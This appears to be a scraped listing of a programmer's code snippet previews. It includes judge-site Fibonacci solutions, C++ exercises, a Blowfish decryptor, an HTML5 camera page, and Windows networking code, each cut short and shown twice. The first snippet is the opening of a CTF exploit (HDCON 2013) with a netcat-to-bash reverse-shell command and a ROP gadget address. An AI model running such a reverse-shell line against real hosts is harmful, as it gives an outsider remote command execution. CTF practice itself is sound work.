Park Jung-hwan AhnMo

## luckyzzang.py
#!/usr/bin/python
# Luckyzzang (HDCON 2013 Problem 5)
import socket, struct
p  = lambda x: struct.pack('<L', x)
up = lambda x: struct.unpack('<L', x)[0]

command = 'nc 192.168.99.1 3334 | /bin/bash | nc 192.168.99.1 3333'

ppppr = p(0x080489cc)
sock_fd = p(4)

## acmicpc_net_1003.c
// acmicpc.net 1003
#include <stdio.h>

int zero, one;
int fibonacci(int n) {
	if (n==0) {
		zero++;
		return 0;
	} else if (n==1) {
		one++;

## lavida_us_1723.c
// lavida.us 1723
#include <stdio.h>

unsigned long long int cache[91];
unsigned long long int fibo(int n) {
	int a;
	if (cache[n] != 0) return cache[n];
	cache[n] = (n == 0 || n == 1)? n: fibo(n - 2) + fibo(n - 1);
	return cache[n];
}

## celebrity.cc
#include <iostream>
#include <list>

using namespace std;

#define N 4
int size = N;
bool MATRIX[N][N] = {
	{0, 1, 1, 1},
	{0, 0, 1, 1},

## Singleton1.cc
// SingleTone 1
//  singleton on bss
#include <iostream>
using namespace std;

class Cursor {
private:
  // 규칙 1. private constructor
  Cursor() { }

## cat_db_decryptor.py
from Crypto.Cipher import Blowfish
from struct import unpack

def once(d):
    iv = '\x01\x02\x03\x04\x05\x06\x07\x08'

    key, d = d[:2], d[2:]

    name, d = d[:8], d[8:]
    iv, name = name, Blowfish.new(key, Blowfish.MODE_CBC, iv).decrypt(name)

## camera.html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title>HTML5 Camera example</title>
</head>
<body>
  <video id="video" width="640" height="480" autoplay></video>
  <script type="text/javascript">
    var video = document.getElementById('video');

## get_internet_connected_inferface_info.cc
#include <winsock2.h>
#include <iphlpapi.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "IPHLPAPI.lib")

#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))

int __cdecl main() {

## fork.c
/*
 * fork.c
 * Experimental fork() on Windows.  Requires NT 6 subsystem or
 * newer.
 *
 * Copyright (c) 2012 William Pitcock <nenolod@dereferenced.org>
 *
 * Permission to use, copy, modify, and/or distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.

## ex1.js
var x = 'outter';
(function () {
  var x = 'inner';
  alert(eval('x'));
})();
// inner
	#!/usr/bin/python
	# Luckyzzang (HDCON 2013 Problem 5)
	import socket, struct
	p = lambda x: struct.pack('<L', x)
	up = lambda x: struct.unpack('<L', x)[0]

	command = 'nc 192.168.99.1 3334 \| /bin/bash \| nc 192.168.99.1 3333'

	ppppr = p(0x080489cc)
	sock_fd = p(4)
	// acmicpc.net 1003
	#include <stdio.h>

	int zero, one;
	int fibonacci(int n) {
	if (n==0) {
	zero++;
	return 0;
	} else if (n==1) {
	one++;
	// lavida.us 1723
	#include <stdio.h>

	unsigned long long int cache[91];
	unsigned long long int fibo(int n) {
	int a;
	if (cache[n] != 0) return cache[n];
	cache[n] = (n == 0 \|\| n == 1)? n: fibo(n - 2) + fibo(n - 1);
	return cache[n];
	}
	#include <iostream>
	#include <list>

	using namespace std;

	#define N 4
	int size = N;
	bool MATRIX[N][N] = {
	{0, 1, 1, 1},
	{0, 0, 1, 1},
	// SingleTone 1
	// singleton on bss
	#include <iostream>
	using namespace std;

	class Cursor {
	private:
	// 규칙 1. private constructor
	Cursor() { }
	from Crypto.Cipher import Blowfish
	from struct import unpack

	def once(d):
	iv = '\x01\x02\x03\x04\x05\x06\x07\x08'

	key, d = d[:2], d[2:]

	name, d = d[:8], d[8:]
	iv, name = name, Blowfish.new(key, Blowfish.MODE_CBC, iv).decrypt(name)
	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="utf-8" />
	<title>HTML5 Camera example</title>
	</head>
	<body>
	<video id="video" width="640" height="480" autoplay></video>
	<script type="text/javascript">
	var video = document.getElementById('video');
	#include <winsock2.h>
	#include <iphlpapi.h>
	#include <stdio.h>
	#include <stdlib.h>
	#pragma comment(lib, "IPHLPAPI.lib")

	#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
	#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))

	int __cdecl main() {
	/*
	* fork.c
	* Experimental fork() on Windows. Requires NT 6 subsystem or
	* newer.
	*
	* Copyright (c) 2012 William Pitcock <nenolod@dereferenced.org>
	*
	* Permission to use, copy, modify, and/or distribute this software for any
	* purpose with or without fee is hereby granted, provided that the above
	* copyright notice and this permission notice appear in all copies.
	var x = 'outter';
	(function () {
	var x = 'inner';
	alert(eval('x'));
	})();
	// inner